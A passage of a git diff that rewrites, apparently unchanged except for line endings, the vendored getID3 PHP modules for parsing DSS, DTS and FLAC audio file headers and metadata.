getid3_dss extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $DSSheader = $this->fread(1540); - - if (!preg_match('#^[\\x02-\\x08]ds[s2]#', $DSSheader)) { - $this->error('Expecting "[02-08] 64 73 [73|32]" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($DSSheader, 0, 4)).'"'); - return false; - } - - // some structure information taken from http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm - $info['encoding'] = 'ISO-8859-1'; // not certain, but assumed - $info['dss'] = array(); - - $info['fileformat'] = 'dss'; - $info['mime_type'] = 'audio/x-'.substr($DSSheader, 1, 3); // "audio/x-dss" or "audio/x-ds2" - $info['audio']['dataformat'] = substr($DSSheader, 1, 3); // "dss" or "ds2" - $info['audio']['bitrate_mode'] = 'cbr'; - - $info['dss']['version'] = ord(substr($DSSheader, 0, 1)); - $info['dss']['hardware'] = trim(substr($DSSheader, 12, 16)); // identification string for hardware used to create the file, e.g. "DPM 9600", "DS2400" - $info['dss']['unknown1'] = getid3_lib::LittleEndian2Int(substr($DSSheader, 28, 4)); - // 32-37 = "FE FF FE FF F7 FF" in all the sample files I've seen - $info['dss']['date_create_unix'] = $this->DSSdateStringToUnixDate(substr($DSSheader, 38, 12)); - $info['dss']['date_complete_unix'] = $this->DSSdateStringToUnixDate(substr($DSSheader, 50, 12)); - $info['dss']['playtime_sec'] = ((int) substr($DSSheader, 62, 2) * 3600) + ((int) substr($DSSheader, 64, 2) * 60) + (int) substr($DSSheader, 66, 2); // approximate file playtime in HHMMSS - if ($info['dss']['version'] <= 3) { - $info['dss']['playtime_ms'] = getid3_lib::LittleEndian2Int(substr($DSSheader, 512, 4)); // exact file playtime in milliseconds. Has also been observed at offset 530 in one sample file, with something else (unknown) at offset 512 - $info['dss']['priority'] = ord(substr($DSSheader, 793, 1)); - $info['dss']['comments'] = trim(substr($DSSheader, 798, 100)); - $info['dss']['sample_rate_index'] = ord(substr($DSSheader, 1538, 1)); // this isn't certain, this may or may not be where the sample rate info is stored, but it seems consistent on my small selection of sample files - $info['audio']['sample_rate'] = $this->DSSsampleRateLookup($info['dss']['sample_rate_index']); - } else { - $this->getid3->warning('DSS above version 3 not fully supported in this version of getID3. Any additional documentation or format specifications would be welcome. This file is version '.$info['dss']['version']); - } - - $info['audio']['bits_per_sample'] = 16; // maybe, maybe not -- most compressed audio formats don't have a fixed bits-per-sample value, but this is a reasonable approximation - $info['audio']['channels'] = 1; - - if (!empty($info['dss']['playtime_ms']) && (floor($info['dss']['playtime_ms'] / 1000) == $info['dss']['playtime_sec'])) { // *should* just be playtime_ms / 1000 but at least one sample file has playtime_ms at offset 530 instead of offset 512, so safety check - $info['playtime_seconds'] = $info['dss']['playtime_ms'] / 1000; - } else { - $info['playtime_seconds'] = $info['dss']['playtime_sec']; - if (!empty($info['dss']['playtime_ms'])) { - $this->getid3->warning('playtime_ms ('.number_format($info['dss']['playtime_ms'] / 1000, 3).') does not match playtime_sec ('.number_format($info['dss']['playtime_sec']).') - using playtime_sec value'); - } - } - $info['audio']['bitrate'] = ($info['filesize'] * 8) / $info['playtime_seconds']; - - return true; - } - - /** - * @param string $datestring - * - * @return int|false - */ - public function DSSdateStringToUnixDate($datestring) { - $y = (int) substr($datestring, 0, 2); - $m = substr($datestring, 2, 2); - $d = substr($datestring, 4, 2); - $h = substr($datestring, 6, 2); - $i = substr($datestring, 8, 2); - $s = substr($datestring, 10, 2); - $y += (($y < 95) ? 2000 : 1900); - return mktime($h, $i, $s, $m, $d, $y); - } - - /** - * @param int $sample_rate_index - * - * @return int|false - */ - public function DSSsampleRateLookup($sample_rate_index) { - static $dssSampleRateLookup = array( - 0x0A => 16000, - 0x0C => 11025, - 0x0D => 12000, - 0x15 => 8000, - ); - if (!array_key_exists($sample_rate_index, $dssSampleRateLookup)) { - $this->getid3->warning('unknown sample_rate_index: 0x'.strtoupper(dechex($sample_rate_index))); - return false; - } - return $dssSampleRateLookup[$sample_rate_index]; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.dss.php // +// module for analyzing Digital Speech Standard (DSS) files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_dss extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $DSSheader = $this->fread(1540); + + if (!preg_match('#^[\\x02-\\x08]ds[s2]#', $DSSheader)) { + $this->error('Expecting "[02-08] 64 73 [73|32]" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($DSSheader, 0, 4)).'"'); + return false; + } + + // some structure information taken from http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm + $info['encoding'] = 'ISO-8859-1'; // not certain, but assumed + $info['dss'] = array(); + + $info['fileformat'] = 'dss'; + $info['mime_type'] = 'audio/x-'.substr($DSSheader, 1, 3); // "audio/x-dss" or "audio/x-ds2" + $info['audio']['dataformat'] = substr($DSSheader, 1, 3); // "dss" or "ds2" + $info['audio']['bitrate_mode'] = 'cbr'; + + $info['dss']['version'] = ord(substr($DSSheader, 0, 1)); + $info['dss']['hardware'] = trim(substr($DSSheader, 12, 16)); // identification string for hardware used to create the file, e.g. "DPM 9600", "DS2400" + $info['dss']['unknown1'] = getid3_lib::LittleEndian2Int(substr($DSSheader, 28, 4)); + // 32-37 = "FE FF FE FF F7 FF" in all the sample files I've seen + $info['dss']['date_create_unix'] = $this->DSSdateStringToUnixDate(substr($DSSheader, 38, 12)); + $info['dss']['date_complete_unix'] = $this->DSSdateStringToUnixDate(substr($DSSheader, 50, 12)); + $info['dss']['playtime_sec'] = ((int) substr($DSSheader, 62, 2) * 3600) + ((int) substr($DSSheader, 64, 2) * 60) + (int) substr($DSSheader, 66, 2); // approximate file playtime in HHMMSS + if ($info['dss']['version'] <= 3) { + $info['dss']['playtime_ms'] = getid3_lib::LittleEndian2Int(substr($DSSheader, 512, 4)); // exact file playtime in milliseconds. Has also been observed at offset 530 in one sample file, with something else (unknown) at offset 512 + $info['dss']['priority'] = ord(substr($DSSheader, 793, 1)); + $info['dss']['comments'] = trim(substr($DSSheader, 798, 100)); + $info['dss']['sample_rate_index'] = ord(substr($DSSheader, 1538, 1)); // this isn't certain, this may or may not be where the sample rate info is stored, but it seems consistent on my small selection of sample files + $info['audio']['sample_rate'] = $this->DSSsampleRateLookup($info['dss']['sample_rate_index']); + } else { + $this->getid3->warning('DSS above version 3 not fully supported in this version of getID3. Any additional documentation or format specifications would be welcome. This file is version '.$info['dss']['version']); + } + + $info['audio']['bits_per_sample'] = 16; // maybe, maybe not -- most compressed audio formats don't have a fixed bits-per-sample value, but this is a reasonable approximation + $info['audio']['channels'] = 1; + + if (!empty($info['dss']['playtime_ms']) && (floor($info['dss']['playtime_ms'] / 1000) == $info['dss']['playtime_sec'])) { // *should* just be playtime_ms / 1000 but at least one sample file has playtime_ms at offset 530 instead of offset 512, so safety check + $info['playtime_seconds'] = $info['dss']['playtime_ms'] / 1000; + } else { + $info['playtime_seconds'] = $info['dss']['playtime_sec']; + if (!empty($info['dss']['playtime_ms'])) { + $this->getid3->warning('playtime_ms ('.number_format($info['dss']['playtime_ms'] / 1000, 3).') does not match playtime_sec ('.number_format($info['dss']['playtime_sec']).') - using playtime_sec value'); + } + } + $info['audio']['bitrate'] = ($info['filesize'] * 8) / $info['playtime_seconds']; + + return true; + } + + /** + * @param string $datestring + * + * @return int|false + */ + public function DSSdateStringToUnixDate($datestring) { + $y = (int) substr($datestring, 0, 2); + $m = substr($datestring, 2, 2); + $d = substr($datestring, 4, 2); + $h = substr($datestring, 6, 2); + $i = substr($datestring, 8, 2); + $s = substr($datestring, 10, 2); + $y += (($y < 95) ? 2000 : 1900); + return mktime($h, $i, $s, $m, $d, $y); + } + + /** + * @param int $sample_rate_index + * + * @return int|false + */ + public function DSSsampleRateLookup($sample_rate_index) { + static $dssSampleRateLookup = array( + 0x0A => 16000, + 0x0C => 11025, + 0x0D => 12000, + 0x15 => 8000, + ); + if (!array_key_exists($sample_rate_index, $dssSampleRateLookup)) { + $this->getid3->warning('unknown sample_rate_index: 0x'.strtoupper(dechex($sample_rate_index))); + return false; + } + return $dssSampleRateLookup[$sample_rate_index]; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.dts.php b/vendor/james-heinrich/getid3/getid3/module.audio.dts.php index cac5a375e6..ff1a88fc80 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.dts.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.dts.php @@ -1,327 +1,327 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.dts.php // -// module for analyzing DTS Audio files // -// dependencies: NONE // -// // -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -/** -* @tutorial http://wiki.multimedia.cx/index.php?title=DTS -*/ -class getid3_dts extends getid3_handler -{ - /** - * Default DTS syncword used in native .cpt or .dts formats. - */ - const syncword = "\x7F\xFE\x80\x01"; - - /** - * @var int - */ - private $readBinDataOffset = 0; - - /** - * Possible syncwords indicating bitstream encoding. - */ - public static $syncwords = array( - 0 => "\x7F\xFE\x80\x01", // raw big-endian - 1 => "\xFE\x7F\x01\x80", // raw little-endian - 2 => "\x1F\xFF\xE8\x00", // 14-bit big-endian - 3 => "\xFF\x1F\x00\xE8"); // 14-bit little-endian - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - $info['fileformat'] = 'dts'; - - $this->fseek($info['avdataoffset']); - $DTSheader = $this->fread(20); // we only need 2 words magic + 6 words frame header, but these words may be normal 16-bit words OR 14-bit words with 2 highest bits set to zero, so 8 words can be either 8*16/8 = 16 bytes OR 8*16*(16/14)/8 = 18.3 bytes - - // check syncword - $sync = substr($DTSheader, 0, 4); - if (($encoding = array_search($sync, self::$syncwords)) !== false) { - - $info['dts']['raw']['magic'] = $sync; - $this->readBinDataOffset = 32; - - } elseif ($this->isDependencyFor('matroska')) { - - // Matroska contains DTS without syncword encoded as raw big-endian format - $encoding = 0; - $this->readBinDataOffset = 0; - - } else { - - unset($info['fileformat']); - return $this->error('Expecting "'.implode('| ', array_map('getid3_lib::PrintHexBytes', self::$syncwords)).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($sync).'"'); - - } - - // decode header - $fhBS = ''; - for ($word_offset = 0; $word_offset <= strlen($DTSheader); $word_offset += 2) { - switch ($encoding) { - case 0: // raw big-endian - $fhBS .= getid3_lib::BigEndian2Bin( substr($DTSheader, $word_offset, 2) ); - break; - case 1: // raw little-endian - $fhBS .= getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))); - break; - case 2: // 14-bit big-endian - $fhBS .= substr(getid3_lib::BigEndian2Bin( substr($DTSheader, $word_offset, 2) ), 2, 14); - break; - case 3: // 14-bit little-endian - $fhBS .= substr(getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))), 2, 14); - break; - } - } - - $info['dts']['raw']['frame_type'] = $this->readBinData($fhBS, 1); - $info['dts']['raw']['deficit_samples'] = $this->readBinData($fhBS, 5); - $info['dts']['flags']['crc_present'] = (bool) $this->readBinData($fhBS, 1); - $info['dts']['raw']['pcm_sample_blocks'] = $this->readBinData($fhBS, 7); - $info['dts']['raw']['frame_byte_size'] = $this->readBinData($fhBS, 14); - $info['dts']['raw']['channel_arrangement'] = $this->readBinData($fhBS, 6); - $info['dts']['raw']['sample_frequency'] = $this->readBinData($fhBS, 4); - $info['dts']['raw']['bitrate'] = $this->readBinData($fhBS, 5); - $info['dts']['flags']['embedded_downmix'] = (bool) $this->readBinData($fhBS, 1); - $info['dts']['flags']['dynamicrange'] = (bool) $this->readBinData($fhBS, 1); - $info['dts']['flags']['timestamp'] = (bool) $this->readBinData($fhBS, 1); - $info['dts']['flags']['auxdata'] = (bool) $this->readBinData($fhBS, 1); - $info['dts']['flags']['hdcd'] = (bool) $this->readBinData($fhBS, 1); - $info['dts']['raw']['extension_audio'] = $this->readBinData($fhBS, 3); - $info['dts']['flags']['extended_coding'] = (bool) $this->readBinData($fhBS, 1); - $info['dts']['flags']['audio_sync_insertion'] = (bool) $this->readBinData($fhBS, 1); - $info['dts']['raw']['lfe_effects'] = $this->readBinData($fhBS, 2); - $info['dts']['flags']['predictor_history'] = (bool) $this->readBinData($fhBS, 1); - if ($info['dts']['flags']['crc_present']) { - $info['dts']['raw']['crc16'] = $this->readBinData($fhBS, 16); - } - $info['dts']['flags']['mri_perfect_reconst'] = (bool) $this->readBinData($fhBS, 1); - $info['dts']['raw']['encoder_soft_version'] = $this->readBinData($fhBS, 4); - $info['dts']['raw']['copy_history'] = $this->readBinData($fhBS, 2); - $info['dts']['raw']['bits_per_sample'] = $this->readBinData($fhBS, 2); - $info['dts']['flags']['surround_es'] = (bool) $this->readBinData($fhBS, 1); - $info['dts']['flags']['front_sum_diff'] = (bool) $this->readBinData($fhBS, 1); - $info['dts']['flags']['surround_sum_diff'] = (bool) $this->readBinData($fhBS, 1); - $info['dts']['raw']['dialog_normalization'] = $this->readBinData($fhBS, 4); - - - $info['dts']['bitrate'] = self::bitrateLookup($info['dts']['raw']['bitrate']); - $info['dts']['bits_per_sample'] = self::bitPerSampleLookup($info['dts']['raw']['bits_per_sample']); - $info['dts']['sample_rate'] = self::sampleRateLookup($info['dts']['raw']['sample_frequency']); - $info['dts']['dialog_normalization'] = self::dialogNormalization($info['dts']['raw']['dialog_normalization'], $info['dts']['raw']['encoder_soft_version']); - $info['dts']['flags']['lossless'] = (($info['dts']['raw']['bitrate'] == 31) ? true : false); - $info['dts']['bitrate_mode'] = (($info['dts']['raw']['bitrate'] == 30) ? 'vbr' : 'cbr'); - $info['dts']['channels'] = self::numChannelsLookup($info['dts']['raw']['channel_arrangement']); - $info['dts']['channel_arrangement'] = self::channelArrangementLookup($info['dts']['raw']['channel_arrangement']); - - $info['audio']['dataformat'] = 'dts'; - $info['audio']['lossless'] = $info['dts']['flags']['lossless']; - $info['audio']['bitrate_mode'] = $info['dts']['bitrate_mode']; - $info['audio']['bits_per_sample'] = $info['dts']['bits_per_sample']; - $info['audio']['sample_rate'] = $info['dts']['sample_rate']; - $info['audio']['channels'] = $info['dts']['channels']; - $info['audio']['bitrate'] = $info['dts']['bitrate']; - if (isset($info['avdataend']) && !empty($info['dts']['bitrate']) && is_numeric($info['dts']['bitrate'])) { - $info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($info['dts']['bitrate'] / 8); - if (($encoding == 2) || ($encoding == 3)) { - // 14-bit data packed into 16-bit words, so the playtime is wrong because only (14/16) of the bytes in the data portion of the file are used at the specified bitrate - $info['playtime_seconds'] *= (14 / 16); - } - } - return true; - } - - /** - * @param string $bin - * @param int $length - * - * @return int - */ - private function readBinData($bin, $length) { - $data = substr($bin, $this->readBinDataOffset, $length); - $this->readBinDataOffset += $length; - - return bindec($data); - } - - /** - * @param int $index - * - * @return int|string|false - */ - public static function bitrateLookup($index) { - static $lookup = array( - 0 => 32000, - 1 => 56000, - 2 => 64000, - 3 => 96000, - 4 => 112000, - 5 => 128000, - 6 => 192000, - 7 => 224000, - 8 => 256000, - 9 => 320000, - 10 => 384000, - 11 => 448000, - 12 => 512000, - 13 => 576000, - 14 => 640000, - 15 => 768000, - 16 => 960000, - 17 => 1024000, - 18 => 1152000, - 19 => 1280000, - 20 => 1344000, - 21 => 1408000, - 22 => 1411200, - 23 => 1472000, - 24 => 1536000, - 25 => 1920000, - 26 => 2048000, - 27 => 3072000, - 28 => 3840000, - 29 => 'open', - 30 => 'variable', - 31 => 'lossless', - ); - return (isset($lookup[$index]) ? $lookup[$index] : false); - } - - /** - * @param int $index - * - * @return int|string|false - */ - public static function sampleRateLookup($index) { - static $lookup = array( - 0 => 'invalid', - 1 => 8000, - 2 => 16000, - 3 => 32000, - 4 => 'invalid', - 5 => 'invalid', - 6 => 11025, - 7 => 22050, - 8 => 44100, - 9 => 'invalid', - 10 => 'invalid', - 11 => 12000, - 12 => 24000, - 13 => 48000, - 14 => 'invalid', - 15 => 'invalid', - ); - return (isset($lookup[$index]) ? $lookup[$index] : false); - } - - /** - * @param int $index - * - * @return int|false - */ - public static function bitPerSampleLookup($index) { - static $lookup = array( - 0 => 16, - 1 => 20, - 2 => 24, - 3 => 24, - ); - return (isset($lookup[$index]) ? $lookup[$index] : false); - } - - /** - * @param int $index - * - * @return int|false - */ - public static function numChannelsLookup($index) { - switch ($index) { - case 0: - return 1; - case 1: - case 2: - case 3: - case 4: - return 2; - case 5: - case 6: - return 3; - case 7: - case 8: - return 4; - case 9: - return 5; - case 10: - case 11: - case 12: - return 6; - case 13: - return 7; - case 14: - case 15: - return 8; - } - return false; - } - - /** - * @param int $index - * - * @return string - */ - public static function channelArrangementLookup($index) { - static $lookup = array( - 0 => 'A', - 1 => 'A + B (dual mono)', - 2 => 'L + R (stereo)', - 3 => '(L+R) + (L-R) (sum-difference)', - 4 => 'LT + RT (left and right total)', - 5 => 'C + L + R', - 6 => 'L + R + S', - 7 => 'C + L + R + S', - 8 => 'L + R + SL + SR', - 9 => 'C + L + R + SL + SR', - 10 => 'CL + CR + L + R + SL + SR', - 11 => 'C + L + R+ LR + RR + OV', - 12 => 'CF + CR + LF + RF + LR + RR', - 13 => 'CL + C + CR + L + R + SL + SR', - 14 => 'CL + CR + L + R + SL1 + SL2 + SR1 + SR2', - 15 => 'CL + C+ CR + L + R + SL + S + SR', - ); - return (isset($lookup[$index]) ? $lookup[$index] : 'user-defined'); - } - - /** - * @param int $index - * @param int $version - * - * @return int|false - */ - public static function dialogNormalization($index, $version) { - switch ($version) { - case 7: - return 0 - $index; - case 6: - return 0 - 16 - $index; - } - return false; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.dts.php // +// module for analyzing DTS Audio files // +// dependencies: NONE // +// // +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +/** +* @tutorial http://wiki.multimedia.cx/index.php?title=DTS +*/ +class getid3_dts extends getid3_handler +{ + /** + * Default DTS syncword used in native .cpt or .dts formats. + */ + const syncword = "\x7F\xFE\x80\x01"; + + /** + * @var int + */ + private $readBinDataOffset = 0; + + /** + * Possible syncwords indicating bitstream encoding. + */ + public static $syncwords = array( + 0 => "\x7F\xFE\x80\x01", // raw big-endian + 1 => "\xFE\x7F\x01\x80", // raw little-endian + 2 => "\x1F\xFF\xE8\x00", // 14-bit big-endian + 3 => "\xFF\x1F\x00\xE8"); // 14-bit little-endian + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + $info['fileformat'] = 'dts'; + + $this->fseek($info['avdataoffset']); + $DTSheader = $this->fread(20); // we only need 2 words magic + 6 words frame header, but these words may be normal 16-bit words OR 14-bit words with 2 highest bits set to zero, so 8 words can be either 8*16/8 = 16 bytes OR 8*16*(16/14)/8 = 18.3 bytes + + // check syncword + $sync = substr($DTSheader, 0, 4); + if (($encoding = array_search($sync, self::$syncwords)) !== false) { + + $info['dts']['raw']['magic'] = $sync; + $this->readBinDataOffset = 32; + + } elseif ($this->isDependencyFor('matroska')) { + + // Matroska contains DTS without syncword encoded as raw big-endian format + $encoding = 0; + $this->readBinDataOffset = 0; + + } else { + + unset($info['fileformat']); + return $this->error('Expecting "'.implode('| ', array_map('getid3_lib::PrintHexBytes', self::$syncwords)).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($sync).'"'); + + } + + // decode header + $fhBS = ''; + for ($word_offset = 0; $word_offset <= strlen($DTSheader); $word_offset += 2) { + switch ($encoding) { + case 0: // raw big-endian + $fhBS .= getid3_lib::BigEndian2Bin( substr($DTSheader, $word_offset, 2) ); + break; + case 1: // raw little-endian + $fhBS .= getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))); + break; + case 2: // 14-bit big-endian + $fhBS .= substr(getid3_lib::BigEndian2Bin( substr($DTSheader, $word_offset, 2) ), 2, 14); + break; + case 3: // 14-bit little-endian + $fhBS .= substr(getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))), 2, 14); + break; + } + } + + $info['dts']['raw']['frame_type'] = $this->readBinData($fhBS, 1); + $info['dts']['raw']['deficit_samples'] = $this->readBinData($fhBS, 5); + $info['dts']['flags']['crc_present'] = (bool) $this->readBinData($fhBS, 1); + $info['dts']['raw']['pcm_sample_blocks'] = $this->readBinData($fhBS, 7); + $info['dts']['raw']['frame_byte_size'] = $this->readBinData($fhBS, 14); + $info['dts']['raw']['channel_arrangement'] = $this->readBinData($fhBS, 6); + $info['dts']['raw']['sample_frequency'] = $this->readBinData($fhBS, 4); + $info['dts']['raw']['bitrate'] = $this->readBinData($fhBS, 5); + $info['dts']['flags']['embedded_downmix'] = (bool) $this->readBinData($fhBS, 1); + $info['dts']['flags']['dynamicrange'] = (bool) $this->readBinData($fhBS, 1); + $info['dts']['flags']['timestamp'] = (bool) $this->readBinData($fhBS, 1); + $info['dts']['flags']['auxdata'] = (bool) $this->readBinData($fhBS, 1); + $info['dts']['flags']['hdcd'] = (bool) $this->readBinData($fhBS, 1); + $info['dts']['raw']['extension_audio'] = $this->readBinData($fhBS, 3); + $info['dts']['flags']['extended_coding'] = (bool) $this->readBinData($fhBS, 1); + $info['dts']['flags']['audio_sync_insertion'] = (bool) $this->readBinData($fhBS, 1); + $info['dts']['raw']['lfe_effects'] = $this->readBinData($fhBS, 2); + $info['dts']['flags']['predictor_history'] = (bool) $this->readBinData($fhBS, 1); + if ($info['dts']['flags']['crc_present']) { + $info['dts']['raw']['crc16'] = $this->readBinData($fhBS, 16); + } + $info['dts']['flags']['mri_perfect_reconst'] = (bool) $this->readBinData($fhBS, 1); + $info['dts']['raw']['encoder_soft_version'] = $this->readBinData($fhBS, 4); + $info['dts']['raw']['copy_history'] = $this->readBinData($fhBS, 2); + $info['dts']['raw']['bits_per_sample'] = $this->readBinData($fhBS, 2); + $info['dts']['flags']['surround_es'] = (bool) $this->readBinData($fhBS, 1); + $info['dts']['flags']['front_sum_diff'] = (bool) $this->readBinData($fhBS, 1); + $info['dts']['flags']['surround_sum_diff'] = (bool) $this->readBinData($fhBS, 1); + $info['dts']['raw']['dialog_normalization'] = $this->readBinData($fhBS, 4); + + + $info['dts']['bitrate'] = self::bitrateLookup($info['dts']['raw']['bitrate']); + $info['dts']['bits_per_sample'] = self::bitPerSampleLookup($info['dts']['raw']['bits_per_sample']); + $info['dts']['sample_rate'] = self::sampleRateLookup($info['dts']['raw']['sample_frequency']); + $info['dts']['dialog_normalization'] = self::dialogNormalization($info['dts']['raw']['dialog_normalization'], $info['dts']['raw']['encoder_soft_version']); + $info['dts']['flags']['lossless'] = (($info['dts']['raw']['bitrate'] == 31) ? true : false); + $info['dts']['bitrate_mode'] = (($info['dts']['raw']['bitrate'] == 30) ? 'vbr' : 'cbr'); + $info['dts']['channels'] = self::numChannelsLookup($info['dts']['raw']['channel_arrangement']); + $info['dts']['channel_arrangement'] = self::channelArrangementLookup($info['dts']['raw']['channel_arrangement']); + + $info['audio']['dataformat'] = 'dts'; + $info['audio']['lossless'] = $info['dts']['flags']['lossless']; + $info['audio']['bitrate_mode'] = $info['dts']['bitrate_mode']; + $info['audio']['bits_per_sample'] = $info['dts']['bits_per_sample']; + $info['audio']['sample_rate'] = $info['dts']['sample_rate']; + $info['audio']['channels'] = $info['dts']['channels']; + $info['audio']['bitrate'] = $info['dts']['bitrate']; + if (isset($info['avdataend']) && !empty($info['dts']['bitrate']) && is_numeric($info['dts']['bitrate'])) { + $info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($info['dts']['bitrate'] / 8); + if (($encoding == 2) || ($encoding == 3)) { + // 14-bit data packed into 16-bit words, so the playtime is wrong because only (14/16) of the bytes in the data portion of the file are used at the specified bitrate + $info['playtime_seconds'] *= (14 / 16); + } + } + return true; + } + + /** + * @param string $bin + * @param int $length + * + * @return int + */ + private function readBinData($bin, $length) { + $data = substr($bin, $this->readBinDataOffset, $length); + $this->readBinDataOffset += $length; + + return bindec($data); + } + + /** + * @param int $index + * + * @return int|string|false + */ + public static function bitrateLookup($index) { + static $lookup = array( + 0 => 32000, + 1 => 56000, + 2 => 64000, + 3 => 96000, + 4 => 112000, + 5 => 128000, + 6 => 192000, + 7 => 224000, + 8 => 256000, + 9 => 320000, + 10 => 384000, + 11 => 448000, + 12 => 512000, + 13 => 576000, + 14 => 640000, + 15 => 768000, + 16 => 960000, + 17 => 1024000, + 18 => 1152000, + 19 => 1280000, + 20 => 1344000, + 21 => 1408000, + 22 => 1411200, + 23 => 1472000, + 24 => 1536000, + 25 => 1920000, + 26 => 2048000, + 27 => 3072000, + 28 => 3840000, + 29 => 'open', + 30 => 'variable', + 31 => 'lossless', + ); + return (isset($lookup[$index]) ? $lookup[$index] : false); + } + + /** + * @param int $index + * + * @return int|string|false + */ + public static function sampleRateLookup($index) { + static $lookup = array( + 0 => 'invalid', + 1 => 8000, + 2 => 16000, + 3 => 32000, + 4 => 'invalid', + 5 => 'invalid', + 6 => 11025, + 7 => 22050, + 8 => 44100, + 9 => 'invalid', + 10 => 'invalid', + 11 => 12000, + 12 => 24000, + 13 => 48000, + 14 => 'invalid', + 15 => 'invalid', + ); + return (isset($lookup[$index]) ? $lookup[$index] : false); + } + + /** + * @param int $index + * + * @return int|false + */ + public static function bitPerSampleLookup($index) { + static $lookup = array( + 0 => 16, + 1 => 20, + 2 => 24, + 3 => 24, + ); + return (isset($lookup[$index]) ? $lookup[$index] : false); + } + + /** + * @param int $index + * + * @return int|false + */ + public static function numChannelsLookup($index) { + switch ($index) { + case 0: + return 1; + case 1: + case 2: + case 3: + case 4: + return 2; + case 5: + case 6: + return 3; + case 7: + case 8: + return 4; + case 9: + return 5; + case 10: + case 11: + case 12: + return 6; + case 13: + return 7; + case 14: + case 15: + return 8; + } + return false; + } + + /** + * @param int $index + * + * @return string + */ + public static function channelArrangementLookup($index) { + static $lookup = array( + 0 => 'A', + 1 => 'A + B (dual mono)', + 2 => 'L + R (stereo)', + 3 => '(L+R) + (L-R) (sum-difference)', + 4 => 'LT + RT (left and right total)', + 5 => 'C + L + R', + 6 => 'L + R + S', + 7 => 'C + L + R + S', + 8 => 'L + R + SL + SR', + 9 => 'C + L + R + SL + SR', + 10 => 'CL + CR + L + R + SL + SR', + 11 => 'C + L + R+ LR + RR + OV', + 12 => 'CF + CR + LF + RF + LR + RR', + 13 => 'CL + C + CR + L + R + SL + SR', + 14 => 'CL + CR + L + R + SL1 + SL2 + SR1 + SR2', + 15 => 'CL + C+ CR + L + R + SL + S + SR', + ); + return (isset($lookup[$index]) ? $lookup[$index] : 'user-defined'); + } + + /** + * @param int $index + * @param int $version + * + * @return int|false + */ + public static function dialogNormalization($index, $version) { + switch ($version) { + case 7: + return 0 - $index; + case 6: + return 0 - 16 - $index; + } + return false; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.flac.php b/vendor/james-heinrich/getid3/getid3/module.audio.flac.php index 221c825fc2..014061da94 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.flac.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.flac.php @@ -1,519 +1,519 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.flac.php // -// module for analyzing FLAC and OggFLAC audio files // -// dependencies: module.audio.ogg.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true); - -/** -* @tutorial http://flac.sourceforge.net/format.html -*/ -class getid3_flac extends getid3_handler -{ - const syncword = 'fLaC'; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $StreamMarker = $this->fread(4); - if ($StreamMarker != self::syncword) { - return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($StreamMarker).'"'); - } - $info['fileformat'] = 'flac'; - $info['audio']['dataformat'] = 'flac'; - $info['audio']['bitrate_mode'] = 'vbr'; - $info['audio']['lossless'] = true; - - // parse flac container - return $this->parseMETAdata(); - } - - /** - * @return bool - */ - public function parseMETAdata() { - $info = &$this->getid3->info; - do { - $BlockOffset = $this->ftell(); - $BlockHeader = $this->fread(4); - $LBFBT = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1)); // LBFBT = LastBlockFlag + BlockType - $LastBlockFlag = (bool) ($LBFBT & 0x80); - $BlockType = ($LBFBT & 0x7F); - $BlockLength = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3)); - $BlockTypeText = self::metaBlockTypeLookup($BlockType); - - if 